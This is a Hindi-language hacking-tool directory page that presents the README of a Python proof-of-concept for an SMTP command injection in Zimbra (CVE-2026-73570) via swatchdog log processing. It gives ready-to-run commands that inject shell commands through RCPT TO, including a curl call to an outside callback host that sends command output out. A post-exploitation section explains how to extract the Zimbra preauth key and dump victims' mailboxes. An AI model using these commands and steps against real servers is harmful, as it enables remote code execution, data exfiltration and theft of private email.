Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-73570 — # CVE-2026-73570 के लिए Python PoC, Zimbra में एक SMTP कमांड इंजेक्शन। swatchdog के माध्यम से शेल कमांड निष्पादन को ट्रिगर करने के लिए दोषपूर्ण RCPT TO पेलोड भेजता है, जिसमें स्वचालित पोर्ट स्कैनिंग और OOB सत्यापन शामिल है। | Kitploit
उपकरण/GitHubGitHub/jishino567/cve-2026-73570
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगईमेल सुरक्षा
GitHubjishino567/cve-2026-73570

CVE-2026-73570

# CVE-2026-73570 के लिए Python PoC, Zimbra में एक SMTP कमांड इंजेक्शन। swatchdog के माध्यम से शेल कमांड निष्पादन को ट्रिगर करने के लिए दोषपूर्ण RCPT TO पेलोड भेजता है, जिसमें स्वचालित पोर्ट स्कैनिंग और OOB सत्यापन शामिल है।

रिपॉजिटरी देखें
211022 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-73570 PoC - SMTP कमांड इंजेक्शन टेस्टर

SMTP कमांड इंजेक्शन कमजोरियों (CVE-2026-73570) के परीक्षण के लिए एक कस्टम, निम्न-स्तरीय Python प्रूफ-ऑफ-कॉन्सेप्ट (PoC) स्क्रिप्ट।

यह टूल शेल-शैली कमांड प्रतिस्थापन (जैसे, $(command)) युक्त एक दोषपूर्ण RCPT TO पता भेजता है ताकि यह निर्धारित किया जा सके कि लक्ष्य मेल सर्वर या उसकी डाउनस्ट्रीम प्रोसेसिंग पाइपलाइन बिना सैनिटाइज़ेशन के पते को शेल के माध्यम से अनुचित रूप से पास करती है या नहीं।

⚠️ अस्वीकरण: यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। सुनिश्चित करें कि आपके पास लक्ष्य इंफ्रास्ट्रक्चर का परीक्षण करने की स्पष्ट अनुमति है। मेल सर्वरों की अनधिकृत स्कैनिंग या शोषण अवैध है।

बग जानकारी (Zimbra को लक्षित करना)

हर Zimbra बॉक्स कमजोर नहीं है। ये सभी शर्तें सत्य होनी चाहिए:

  1. वैकल्पिक zimbra-snmp पैकेज स्थापित है (अक्सर इंस्टॉलेशन के समय संकेत दिया जाता है)।
  2. SNMP ट्रैप सूचनाएं सक्षम हैं (snmp_notify)।
  3. swatchdog सेवा चल रही है (डिफ़ॉल्ट रूप से चालू)।

हमले को SNMP (UDP/161/162) को हमलावर के लिए उजागर करने की आवश्यकता है। दुर्भावनापूर्ण इनपुट मानक SMTP पर आता है।

हमले की सतह:
नहीं

मूल कारण

swatchdog प्रक्रिया /opt/zimbra/conf/swatchrc.in से कॉन्फ़िगरेशन का उपयोग करके /var/log/zimbra.log को टेल करती है। यह निम्नलिखित रेगुलर एक्सप्रेशन का उपयोग करके लॉग प्रविष्टियों को सक्रिय रूप से मैच करती है:

root@kitploit:~
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/

(.*) कैप्चर समूह को सेवा नाम के रूप में माना जाता है। dosnmp स्क्रिप्ट फिर उस कैप्चर किए गए टेक्स्ट को सीधे Perl बैकटिक snmptrap कमांड में इंटरपोलेट करती है। क्योंकि Perl बैकटिक्स सिस्टम शेल के माध्यम से निष्पादित होते हैं, (.*) में कैप्चर किए गए कोई भी शेल मेटाकैरेक्टर मूल्यांकित और निष्पादित होते हैं।

इंजेक्शन वेक्टर

हमलावर SMTP कमांड (जैसे RCPT TO) भेजकर लॉग में दुर्भावनापूर्ण टेक्स्ट प्राप्त करते हैं, जिसका तर्क वास्तविक सेवा-स्थिति लाइन जैसा दिखता है। Postfix इसे अवैध पता सिंटैक्स के रूप में लॉग करता है, लेकिन swatchdog फिर भी लॉग लाइन में रेगेक्स को मैच करता है और पेलोड को शेल में पास करता है।


विशेषताएं

  • कस्टम लो-लेवल SMTP क्लाइंट: Python के मानक smtplib आंतरिक पता सत्यापन को बायपास करता है ताकि कच्चे, गैर-RFC-अनुरूप पेलोड ठीक उसी तरह भेजे जा सकें जैसे एक हमलावर भेजेगा।
  • ऑटो-पोर्ट स्कैनिंग: स्वचालित रूप से खुले SMTP पोर्ट (25, 465, 587) को स्कैन करता है और उपलब्ध एक का चयन करता है।
  • इम्प्लिसिट SSL/TLS समर्थन: पोर्ट 465 (SMTPS) को लक्षित करने पर स्वचालित रूप से SSL/TLS पर बातचीत करता है।
  • कस्टम पेलोड इंजेक्शन: --command फ्लैग के माध्यम से मनमाने शेल कमांड स्वीकार करता है।
  • स्वच्छ CLI इंटरफ़ेस: परीक्षण वर्कफ़्लो में आसान एकीकरण के लिए argparse के साथ निर्मित।

आवश्यक शर्तें

  • Python 3.6+
  • कोई बाहरी निर्भरता आवश्यक नहीं (केवल Python मानक लाइब्रेरी का उपयोग करता है)

इंस्टॉलेशन

स्क्रिप्ट को CVE-2026-73570.py (या आपकी पसंद का कोई भी नाम) नामक फ़ाइल में सहेजें:

root@kitploit:~
# उदाहरण: फ़ाइल डाउनलोड करें या बनाएं
nano CVE-2026-73570.py

उपयोग

आप अपने परीक्षण परिदृश्य के आधार पर स्क्रिप्ट को कई तरीकों से चला सकते हैं।

1. स्वचालित स्कैन और निष्पादन

यदि आप पोर्ट निर्दिष्ट नहीं करते हैं, तो स्क्रिप्ट पोर्ट 25, 465 और 587 को स्कैन करेगी, और स्वचालित रूप से पहले खुले पोर्ट को लक्षित करेगी।

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"

2. विशिष्ट पोर्ट को लक्षित करें

यदि आप पहले से लक्ष्य पोर्ट जानते हैं (जैसे, 465), तो आप स्कैनिंग का अनुमान छोड़ सकते हैं।

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"

3. केवल स्कैन (रीकॉनिसेंस)

यदि आप पेलोड भेजे बिना केवल यह जांचना चाहते हैं कि लक्ष्य पर कौन से मेल पोर्ट खुले हैं।

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only

कमांड-लाइन तर्क

तर्कशॉर्टविवरणडिफ़ॉल्ट
--host-Hलक्ष्य होस्ट IP या डोमेन।127.0.0.1
--port-pलक्ष्य पोर्ट। यदि छोड़ा गया, तो 25, 465, 587 स्कैन करता है और एक खुले पोर्ट को लक्षित करता है।None (ऑटो)
--command-cSMTP पेलोड में इंजेक्ट करने के लिए शेल कमांड।TEST_PAYLOAD
--scan-only-sकेवल पोर्ट स्कैन करें और इंजेक्शन पेलोड भेजे बिना बाहर निकलें।False

एक्सप्लॉइट को कैसे सत्यापित करें

अकेले स्क्रिप्ट चलाना केवल यह साबित करता है कि मेल सर्वर दोषपूर्ण RCPT TO पता प्राप्त करता है। लक्ष्य के फाइलसिस्टम या लॉग तक सीधी पहुंच के बिना वास्तविक कमांड इंजेक्शन की पुष्टि करने के लिए, HTTP के माध्यम से आउट-ऑफ-बैंड (OOB) कॉलबैक का उपयोग करें।

  1. लिसनर सेट करें: requestrepo.com पर जाएं (या Burp Suite Collaborator / Webhook.site का उपयोग करें) और अपना अद्वितीय URL कॉपी करें (जैसे, http://xyz123.requestrepo.com)।
  2. PoC चलाएं: अपने अद्वितीय URL को हिट करने के लिए curl का उपयोग करके स्क्रिप्ट निष्पादित करें:
    root@kitploit:~
    python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
    
  3. कॉलबैक जांचें: अपना Request Repo डैशबोर्ड रीफ्रेश करें। यदि आपको आने वाला HTTP GET अनुरोध दिखाई देता है, तो कमांड इंजेक्शन सफल रहा।

प्रो-टिप (डेटा एक्सफिल्ट्रेशन): आप अपने कॉलबैक के URL पथ में कमांड के आउटपुट को इंजेक्ट करके एक्सफिल्ट्रेट कर सकते हैं:

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"

अनुरोधित पथ में uid=0(root) आउटपुट देखने के लिए अपना Request Repo डैशबोर्ड जांचें।

⚠️ महत्वपूर्ण नोट: "एक्सेस डेनाइड" का मतलब "पैच लागू" नहीं है

परीक्षण के दौरान, आपको इस तरह का SMTP प्रतिक्रिया मिल सकती है:

root@kitploit:~
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied

केवल इसलिए यह न मानें कि पता अस्वीकार होने के कारण कमजोरी विफल हो गई है।

कई मेल सर्वर (जैसे Postfix या Exim) SMTP लेनदेन के दौरान पेलोड को सिंटैक्टिक रूप से स्वीकार करेंगे, लेकिन तुरंत डिलीवरी प्रयास को अस्वीकार कर देंगे क्योंकि डोमेन/प्राप्तकर्ता उनकी अनुमत रिले सूची में नहीं है।

CVE-2026-73570 कमजोरी इस अस्वीकृति के बाद ट्रिगर होती है। दुर्भावनापूर्ण स्ट्रिंग अवैध पता सिंटैक्स लॉग प्रविष्टि के रूप में /var/log/zimbra.log में प्रवाहित होती है। swatchdog इस लॉग को टेल करता है, पेलोड को मैच करता है, और इसे शेल में पास करता है।

क्योंकि पेलोड अभी भी लॉगिंग के लिए इन बैकएंड सिस्टम तक पहुंचता है, कमांड प्रतिस्थापन ($()) अभी भी निष्पादित होता है। SMTP प्रतिक्रिया कोड की परवाह किए बिना, सफलता सत्यापित करने के लिए हमेशा अपने OOB कॉलबैक (जैसे, Request Repo) पर भरोसा करें।

पोस्ट एक्सप्लॉइटेशन

एक बार swatchdog इंजेक्शन के माध्यम से कमांड निष्पादन प्राप्त हो जाने पर, हमलावर आमतौर पर zimbra उपयोगकर्ता के रूप में कार्य करता है। यहां से, प्राथमिक लक्ष्य अक्सर मेलबॉक्स डेटा तक पहुंचना होता है।

इस अगले चरण को सुविधाजनक बनाने के लिए, आप zimbraKing का उपयोग कर सकते हैं — Zimbra मेलबॉक्स डंप करने के लिए डिज़ाइन किया गया एक कस्टम टूल।

  • रिपॉजिटरी: https://github.com/jishino567/zimbraKing

उपयोग परिदृश्य: अपने पोस्ट-एक्सप्लॉइटेशन चरण के दौरान, यदि आप Zimbra कॉन्फ़िगरेशन फ़ाइलें पढ़ने और preAuthKey निकालने में सक्षम हैं (आमतौर पर /opt/zimbra/conf/localconfig.xml में zimbra_preauth_key कुंजी के अंतर्गत पाया जाता है) या यदि आप वैध Zimbra खाता क्रेडेंशियल प्राप्त करते हैं, तो आप उन्हें zimbraKing में फीड कर सकते हैं।

टूल Zimbra SOAP API के खिलाफ प्रमाणित करने के लिए preAuthKey या खाता क्रेडेंशियल का उपयोग करता है और अंतर्निहित डेटाबेस या फाइलसिस्टम के साथ सीधे इंटरैक्ट करने की आवश्यकता के बिना व्यवस्थित रूप से लक्ष्य मेलबॉक्स सामग्री डंप करता है।

smtplib का उपयोग क्यों नहीं करें?

Python का अंतर्निहित smtplib सख्त RFC मानकों को लागू करता है। यदि आप smtplib.sendmail() के माध्यम से ", $, (, और ) युक्त पता पास करने का प्रयास करते हैं, तो लाइब्रेरी या तो स्ट्रिंग को "सुरक्षित" बनाने के लिए विकृत कर देगी या डेटा नेटवर्क तक पहुंचने से पहले SMTPRecipientsRefused अपवाद उठाएगी। यह कस्टम क्लाइंट एक्सप्लॉइट पेलोड की बाइट-दर-बाइट डिलीवरी की गारंटी के लिए रॉ सॉकेट का उपयोग करता है।

टूल डाउनलोड करें